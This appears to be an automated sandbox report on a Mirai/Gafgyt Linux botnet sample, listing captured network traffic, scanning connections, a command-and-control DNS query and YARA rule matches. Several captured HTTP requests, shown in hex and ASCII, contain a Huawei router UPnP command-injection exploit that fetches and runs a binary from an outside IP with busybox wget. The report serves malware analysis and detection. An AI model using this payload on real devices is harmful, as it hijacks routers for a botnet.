Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 156.243.120.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.113.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.63.193.232
Source: unknown	TCP traffic detected without corresponding DNS query: 197.173.7.129
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.93.116
Source: unknown	TCP traffic detected without corresponding DNS query: 156.214.108.255
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.35.101
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.24.129
Source: unknown	TCP traffic detected without corresponding DNS query: 197.90.150.199
Source: unknown	TCP traffic detected without corresponding DNS query: 197.132.154.218
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.73.10
Source: unknown	TCP traffic detected without corresponding DNS query: 41.87.34.185
Source: unknown	TCP traffic detected without corresponding DNS query: 41.87.115.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.42.1.152
Source: unknown	TCP traffic detected without corresponding DNS query: 41.138.212.138
Source: unknown	TCP traffic detected without corresponding DNS query: 156.78.201.98
Source: unknown	TCP traffic detected without corresponding DNS query: 156.224.13.65
Source: unknown	TCP traffic detected without corresponding DNS query: 197.202.46.32
Source: unknown	TCP traffic detected without corresponding DNS query: 197.216.33.121
Source: unknown	TCP traffic detected without corresponding DNS query: 197.59.82.212
Source: unknown	TCP traffic detected without corresponding DNS query: 156.49.6.9
Source: unknown	TCP traffic detected without corresponding DNS query: 41.156.102.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.241.245
Source: unknown	TCP traffic detected without corresponding DNS query: 156.204.167.229
Source: unknown	TCP traffic detected without corresponding DNS query: 156.5.79.218
Source: unknown	TCP traffic detected without corresponding DNS query: 156.255.113.130
Source: unknown	TCP traffic detected without corresponding DNS query: 41.170.201.4
Source: unknown	TCP traffic detected without corresponding DNS query: 156.20.59.113
Source: unknown	TCP traffic detected without corresponding DNS query: 156.134.51.115
Source: unknown	TCP traffic detected without corresponding DNS query: 156.48.101.240
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.183.57
Source: unknown	TCP traffic detected without corresponding DNS query: 197.115.196.137
Source: unknown	TCP traffic detected without corresponding DNS query: 41.146.232.115
Source: unknown	TCP traffic detected without corresponding DNS query: 41.199.95.162
Source: unknown	TCP traffic detected without corresponding DNS query: 197.38.129.206
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.21.108
Source: unknown	TCP traffic detected without corresponding DNS query: 41.191.113.153
Source: unknown	TCP traffic detected without corresponding DNS query: 41.38.168.255
Source: unknown	TCP traffic detected without corresponding DNS query: 197.241.32.4
Source: unknown	TCP traffic detected without corresponding DNS query: 156.233.189.37
Source: unknown	TCP traffic detected without corresponding DNS query: 156.137.142.77
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.1.133
Source: unknown	TCP traffic detected without corresponding DNS query: 41.138.87.130
Source: unknown	TCP traffic detected without corresponding DNS query: 41.247.44.228
Source: unknown	TCP traffic detected without corresponding DNS query: 41.154.221.237
Source: unknown	TCP traffic detected without corresponding DNS query: 156.51.145.41
Source: unknown	TCP traffic detected without corresponding DNS query: 197.157.57.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.219.157.185
Source: unknown	TCP traffic detected without corresponding DNS query: 41.226.196.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.212.248.151

Source: global traffic

DNS traffic detected: DNS query: cnc.gay

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox/bin/watchdog/bin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777 3f

Source: ELF static info symbol of initial sample

.symtab present: no

Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5479.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
